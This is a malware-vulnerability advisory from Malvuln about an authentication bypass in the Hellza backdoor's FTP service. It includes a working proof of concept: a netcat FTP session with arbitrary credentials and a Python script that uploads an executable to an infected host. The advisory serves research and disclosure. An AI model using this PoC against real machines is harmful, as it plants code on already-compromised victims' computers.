Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21_B.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Backdoor.Win32.Hellza.120 Vulnerability: Authentication Bypass Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands. Family: Hellza Type: PE32 MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21 Vuln ID: MVID-2022-0642 Dropped files: msdllsrv.exe Disclosure: 09/19/2022 Exploit/PoC: C:\>nc64.exe 192.168.18.125 21 220 HellzAddiction FTP server. USER malvuln 331 Password required for malvuln. PASS malvuln 230 User malvuln logged in. SYST 215 UNIX Type: L8 Internet Component Suite PASV 227 Entering Passive Mode (192,168,18,125,219,186). CDUP \ 250 CWD command successful. "C:/" is current directory. STOR DOOM_SM.exe 150 Opening data connection for DOOM_SM.exe. 226 File received ok from socket import * MALWARE_HOST="192.168.18.125" PORT=56250 DOOM="DOOM_SM.exe" def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) f = open(DOOM, "rb") EXE = f.read() s.send(EXE) while EXE: s.send(EXE) EXE=f.read() s.close() print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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